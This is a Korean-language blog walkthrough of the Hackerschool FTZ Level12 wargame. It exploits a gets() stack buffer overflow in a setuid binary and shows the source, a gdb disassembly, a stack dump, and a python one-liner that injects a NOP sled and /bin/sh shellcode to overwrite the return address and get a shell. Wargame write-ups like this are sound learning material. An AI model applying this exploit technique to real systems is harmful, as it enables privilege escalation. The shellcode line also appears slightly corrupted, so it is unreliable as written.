본문 바로가기
hackerschool bof/hackerschool ftz

해커스쿨(Hackerschool) FTZ Level12 문제풀이

by 깝태 2011. 4. 13.

해커스쿨(Hackerschool) FTZ Level12 문제풀이를 시작하겠습니다. 역시나 BOF 문제 입니다.
저는 현재 Level15 까지 풀었는데 매우 어려우면서도 재밌더라구요, 근데 힌트를 본게 흠이 라고 생각되서
공부할 겸 복습용으로 올려봅니다.

[level12@ftz level12]$ ls
attackme  hint  public_html  tmp

역시나 공격해야되는 attackme 파일이 있고 힌트 파일이 있습니다.
 
[level12@ftz level12]$ cat hint

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main( void )
{
char str[256];

  setreuid( 3093, 3093 );
printf( "문장을 입력하세요.\n" );
gets( str );
printf( "%s\n", str );
}  

[level12@ftz level12]$ ./attackme
문장을 입력하세요.
XoDNr
XoDNr

문자열을 입력받는 gets 함수는 제한없이 받기때문에 오버플로우 취약점이 있습니다.

레벨 11 과는 다르게 메인 함수에서 인자를 받지않고 프로그램 내에서 인자를 받습니다.

A ; B - A 를 실행하고 나서 B를 실행한다.

A | B - A의 출력을 B의 입력에 전달한다. 

(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>: push   %ebp
0x08048471 <main+1>: mov    %esp,%ebp
0x08048473 <main+3>: sub    $0x108,%esp
0x08048479 <main+9>: sub    $0x8,%esp
0x0804847c <main+12>: push   $0xc15
0x08048481 <main+17>: push   $0xc15
0x08048486 <main+22>: call   0x804835c <setreuid>
0x0804848b <main+27>: add    $0x10,%esp
0x0804848e <main+30>: sub    $0xc,%esp
0x08048491 <main+33>: push   $0x8048538
0x08048496 <main+38>: call   0x804834c <printf>
0x0804849b <main+43>: add    $0x10,%esp
0x0804849e <main+46>: sub    $0xc,%esp
0x080484a1 <main+49>: lea    0xfffffef8(%ebp),%eax
0x080484a7 <main+55>: push   %eax
0x080484a8 <main+56>: call   0x804831c <gets>
0x080484ad <main+61>: add    $0x10,%esp
0x080484b0 <main+64>: sub    $0x8,%esp
0x080484b3 <main+67>: lea    0xfffffef8(%ebp),%eax
0x080484b9 <main+73>: push   %eax
0x080484ba <main+74>: push   $0x804854c
0x080484bf <main+79>: call   0x804834c <printf>
0x080484c4 <main+84>: add    $0x10,%esp
0x080484c7 <main+87>: leave  
0x080484c8 <main+88>: ret    
0x080484c9 <main+89>: lea    0x0(%esi),%esi
0x080484cc <main+92>: nop    
0x080484cd <main+93>: nop    
0x080484ce <main+94>: nop    
0x080484cf <main+95>: nop    
End of assembler dump.

메모리 구조는 이렇게 됩니다.
(낮은주소) [ BUF(256 Byte) + Dummy(8 Byte) + SFP(4) + RET(4) ] (높은주소 <== 메모리 구조

먼저 더 자세한 메모리 구조를 확인하기 위해 브레이크 포인터를 걸고 테스트 해보겠습니다.

(gdb) b *main+87 
Breakpoint 1 at 0x80484c7
(gdb) r
Starting program: /home/level12/attackme 
문장을 입력하세요.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, 0x080484c7 in main ()
(gdb) x/268x $esp
0xbffffa10: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa20: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa30: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa40: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa50: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa60: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa70: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa80: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa90: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffaa0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffab0: 0x61616161 0x61616161 0x61616161 0x61616161

RET 덮어씌울 주소를 대략 0xbffffa10 으로 잡고 익스플로잇을 짜보겠습니다.

[level12@ftz level12]$ (python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31
\xd2\xb0\x0 \xcd\x80" + "\x90"*43 + "\x10\xfa\xff\xbf"';cat)|./attackme
문장을 입력하세요.
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                                                       ?????????????????????????????????????????????
my-pass
TERM environment variable not set.

Level13 Password is "            ".


이렇게 쉘을 획득하였습니다.
Level11 과 Level12 과의 차이는 별로 없었습니다. 단지 인자를 전달하는 방식이 달라
다시 이해하는 의미에서 나온 문제 같습니다.